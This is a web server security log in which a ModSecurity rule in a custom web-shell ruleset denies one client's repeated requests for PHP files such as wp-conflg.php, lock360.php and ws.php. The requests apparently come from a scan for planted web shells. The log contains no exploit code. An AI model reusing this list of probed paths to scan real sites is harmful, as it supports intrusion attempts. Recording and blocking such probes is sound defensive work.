[Sun Dec 21 22:36:29.848320 2025] [:error] [pid 59158:tid 59161] [client 104.215.59.38:30469] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file8.php"] [unique_id "aUgF7Y7NvyNF8ab5VgVluwAAAME"]
[Sun Dec 21 22:36:32.184380 2025] [:error] [pid 59067:tid 59093] [client 104.215.59.38:25413] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aUgF8MtpsOP1NfIK_qKFIgAAABM"]
[Sun Dec 21 22:36:32.734790 2025] [:error] [pid 59068:tid 59117] [client 104.215.59.38:30465] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aUgF8BmLyLqWUlrjwyewRwAAAFA"]
[Sun Dec 21 22:36:33.622338 2025] [:error] [pid 59158:tid 59174] [client 104.215.59.38:39575] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aUgF8Y7NvyNF8ab5VgVlwwAAAM4"]
[Sun Dec 21 22:36:35.374610 2025] [:error] [pid 30183:tid 30196] [client 104.215.59.38:25471] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aUgF8-CmP2zCzk_WZcUv1AAAAQs"]
[Sun Dec 21 22:36:35.876990 2025] [:error] [pid 30183:tid 30186] [client 104.215.59.38:28995] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-conflg.php"] [unique_id "aUgF8-CmP2zCzk_WZcUv2AAAAQE"]
[Sun Dec 21 22:36:36.354262 2025] [:error] [pid 59158:tid 59174] [client 104.215.59.38:45956] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-conflg.php"] [unique_id "aUgF9I7NvyNF8ab5VgVlxwAAAM4"]
[Sun Dec 21 22:36:37.784854 2025] [:error] [pid 42755:tid 42775] [client 104.215.59.38:27189] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-conflg.php"] [unique_id "aUgF9eW0XvxgXMTJJbv34AAAAVI"]
[Sun Dec 21 22:36:38.427694 2025] [:error] [pid 65237:tid 65255] [client 104.215.59.38:21216] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-conflg.php"] [unique_id "aUgF9lVJYjxIpnUJfgJg3QAAAZA"]
[Sun Dec 21 22:36:39.003872 2025] [:error] [pid 30183:tid 30193] [client 104.215.59.38:29017] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aUgF9-CmP2zCzk_WZcUv3QAAAQg"]
[Sun Dec 21 22:36:40.234939 2025] [:error] [pid 59158:tid 59175] [client 104.215.59.38:26801] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aUgF-I7NvyNF8ab5VgVl0AAAAM8"]
[Sun Dec 21 22:36:41.049086 2025] [:error] [pid 65237:tid 65263] [client 104.215.59.38:35266] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aUgF-VVJYjxIpnUJfgJg4wAAAZg"]
[Sun Dec 21 22:36:41.642260 2025] [:error] [pid 59158:tid 59165] [client 104.215.59.38:29027] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aUgF-Y7NvyNF8ab5VgVl1AAAAMU"]
[Sun Dec 21 22:36:42.636836 2025] [:error] [pid 59158:tid 59163] [client 104.215.59.38:35284] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aUgF-o7NvyNF8ab5VgVl1wAAAMM"]
[Sun Dec 21 22:36:43.212159 2025] [:error] [pid 59067:tid 59094] [client 104.215.59.38:29607] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aUgF-8tpsOP1NfIK_qKFKAAAABQ"]
[Sun Dec 21 22:36:43.947389 2025] [:error] [pid 30183:tid 30200] [client 104.215.59.38:45996] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aUgF--CmP2zCzk_WZcUv4gAAAQ8"]
[Sun Dec 21 22:36:44.602609 2025] [:error] [pid 59158:tid 59166] [client 104.215.59.38:32211] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aUgF_I7NvyNF8ab5VgVl2gAAAMY"]
[Sun Dec 21 22:36:45.803333 2025] [:error] [pid 59068:tid 59107] [client 104.215.59.38:25456] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abe.php"] [unique_id "aUgF_RmLyLqWUlrjwyewUwAAAEY"]
[Sun Dec 21 22:36:46.548584 2025] [:error] [pid 59068:tid 59119] [client 104.215.59.38:3673] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abe.php"] [unique_id "aUgF_hmLyLqWUlrjwyewVAAAAFI"]
[Sun Dec 21 22:36:47.185765 2025] [:error] [pid 59158:tid 59181] [client 104.215.59.38:26811] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abe.php"] [unique_id "aUgF_47NvyNF8ab5VgVl3gAAANU"]
[Sun Dec 21 22:36:47.810349 2025] [:error] [pid 59067:tid 59077] [client 104.215.59.38:30502] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abe.php"] [unique_id "aUgF_8tpsOP1NfIK_qKFKwAAAAM"]
[Sun Dec 21 22:36:48.403126 2025] [:error] [pid 59070:tid 59128] [client 104.215.59.38:40067] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aUgGAH3dhXne9KX1kgJvxwAAAIA"]
[Sun Dec 21 22:36:49.130504 2025] [:error] [pid 59070:tid 59134] [client 104.215.59.38:30517] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aUgGAX3dhXne9KX1kgJvzAAAAIY"]
[Sun Dec 21 22:36:49.985638 2025] [:error] [pid 65237:tid 65250] [client 104.215.59.38:27188] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aUgGAVVJYjxIpnUJfgJg7wAAAYs"]
[Sun Dec 21 22:36:55.126249 2025] [:error] [pid 65237:tid 65240] [client 104.215.59.38:28100] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index1.php"] [unique_id "aUgGB1VJYjxIpnUJfgJhBAAAAYE"]
[Sun Dec 21 22:36:56.670760 2025] [:error] [pid 42755:tid 42773] [client 104.215.59.38:25438] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index1.php"] [unique_id "aUgGCOW0XvxgXMTJJbv3_QAAAVA"]
[Sun Dec 21 22:36:57.873015 2025] [:error] [pid 59070:tid 59142] [client 104.215.59.38:29049] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index1.php"] [unique_id "aUgGCX3dhXne9KX1kgJv6AAAAI4"]
[Sun Dec 21 22:36:59.534296 2025] [:error] [pid 59070:tid 59144] [client 104.215.59.38:27146] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index1.php"] [unique_id "aUgGC33dhXne9KX1kgJv7gAAAJA"]
[Sun Dec 21 22:37:01.167239 2025] [:error] [pid 59067:tid 59094] [client 104.215.59.38:35265] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aUgGDctpsOP1NfIK_qKFPgAAABQ"]
[Sun Dec 21 22:37:02.512173 2025] [:error] [pid 59158:tid 59174] [client 104.215.59.38:40069] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aUgGDo7NvyNF8ab5VgVl5AAAAM4"]
[Sun Dec 21 22:37:03.492030 2025] [:error] [pid 59070:tid 59131] [client 104.215.59.38:37367] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aUgGD33dhXne9KX1kgJv8wAAAIM"]
[Sun Dec 21 22:37:05.687600 2025] [:error] [pid 59158:tid 59178] [client 104.215.59.38:45958] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aUgGEY7NvyNF8ab5VgVl6gAAANI"]
[Sun Dec 21 22:37:06.026658 2025] [:error] [pid 59068:tid 59117] [client 104.215.59.38:45957] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php"] [unique_id "aUgGEhmLyLqWUlrjwyewZQAAAFA"]
[Sun Dec 21 22:37:06.979099 2025] [:error] [pid 59067:tid 59083] [client 104.215.59.38:37314] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php"] [unique_id "aUgGEstpsOP1NfIK_qKFQQAAAAk"]
[Sun Dec 21 22:37:07.500785 2025] [:error] [pid 30183:tid 30190] [client 104.215.59.38:28164] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php"] [unique_id "aUgGE-CmP2zCzk_WZcUv8gAAAQU"]
[Sun Dec 21 22:37:09.001252 2025] [:error] [pid 30183:tid 30206] [client 104.215.59.38:32238] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php"] [unique_id "aUgGFeCmP2zCzk_WZcUv9gAAARU"]
[Sun Dec 21 22:37:10.344007 2025] [:error] [pid 30183:tid 30202] [client 104.215.59.38:46011] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news.php"] [unique_id "aUgGFuCmP2zCzk_WZcUv-AAAARE"]
[Sun Dec 21 22:37:11.066616 2025] [:error] [pid 59158:tid 59174] [client 104.215.59.38:32242] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news.php"] [unique_id "aUgGF47NvyNF8ab5VgVmBQAAAM4"]
[Sun Dec 21 22:37:13.430006 2025] [:error] [pid 65237:tid 65241] [client 104.215.59.38:37348] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news.php"] [unique_id "aUgGGVVJYjxIpnUJfgJhEwAAAYI"]
[Sun Dec 21 22:37:16.841332 2025] [:error] [pid 42755:tid 42772] [client 104.215.59.38:37335] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news.php"] [unique_id "aUgGHOW0XvxgXMTJJbv4BgAAAU8"]
[Sun Dec 21 22:37:17.313045 2025] [:error] [pid 59067:tid 59096] [client 104.215.59.38:31961] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "aUgGHctpsOP1NfIK_qKFRAAAABY"]
[Sun Dec 21 22:37:18.914391 2025] [:error] [pid 30183:tid 30185] [client 104.215.59.38:28206] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "aUgGHuCmP2zCzk_WZcUwBAAAAQA"]
[Sun Dec 21 22:37:20.615022 2025] [:error] [pid 59070:tid 59148] [client 104.215.59.38:28191] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "aUgGIH3dhXne9KX1kgJwDgAAAJQ"]
[Sun Dec 21 22:37:24.525761 2025] [:error] [pid 59158:tid 59173] [client 104.215.59.38:28172] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "aUgGJI7NvyNF8ab5VgVmFAAAAM0"]
[Sun Dec 21 22:37:28.733735 2025] [:error] [pid 59068:tid 59120] [client 104.215.59.38:35590] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aUgGKBmLyLqWUlrjwyewiwAAAFM"]
[Sun Dec 21 22:37:29.312753 2025] [:error] [pid 59158:tid 59176] [client 104.215.59.38:26361] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aUgGKY7NvyNF8ab5VgVmGQAAANA"]
[Sun Dec 21 22:37:32.017527 2025] [:error] [pid 59158:tid 59165] [client 104.215.59.38:35644] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aUgGLI7NvyNF8ab5VgVmHgAAAMU"]
[Sun Dec 21 22:37:32.835126 2025] [:error] [pid 59070:tid 59152] [client 104.215.59.38:37425] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aUgGLH3dhXne9KX1kgJwHQAAAJg"]
[Sun Dec 21 22:37:34.685056 2025] [:error] [pid 65237:tid 65252] [client 104.215.59.38:37420] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mn.php"] [unique_id "aUgGLlVJYjxIpnUJfgJhKgAAAY0"]
[Sun Dec 21 22:37:35.567672 2025] [:error] [pid 42755:tid 42768] [client 104.215.59.38:35623] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mn.php"] [unique_id "aUgGL-W0XvxgXMTJJbv4HgAAAUs"]
[Sun Dec 21 22:37:38.365472 2025] [:error] [pid 59158:tid 59181] [client 104.215.59.38:37413] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mn.php"] [unique_id "aUgGMo7NvyNF8ab5VgVmJAAAANU"]
[Sun Dec 21 22:37:39.716853 2025] [:error] [pid 30183:tid 30194] [client 104.215.59.38:35586] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mn.php"] [unique_id "aUgGM-CmP2zCzk_WZcUwEwAAAQk"]
[Sun Dec 21 22:37:41.590751 2025] [:error] [pid 59158:tid 59175] [client 104.215.59.38:21961] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "aUgGNY7NvyNF8ab5VgVmLQAAAM8"]
[Sun Dec 21 22:37:42.434694 2025] [:error] [pid 59070:tid 59148] [client 104.215.59.38:39815] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "aUgGNn3dhXne9KX1kgJwNQAAAJQ"]
[Sun Dec 21 22:37:43.253154 2025] [:error] [pid 59067:tid 59077] [client 104.215.59.38:36276] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "aUgGN8tpsOP1NfIK_qKFWwAAAAM"]
[Sun Dec 21 22:37:45.349922 2025] [:error] [pid 65237:tid 65239] [client 104.215.59.38:26335] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "aUgGOVVJYjxIpnUJfgJhLQAAAYA"]
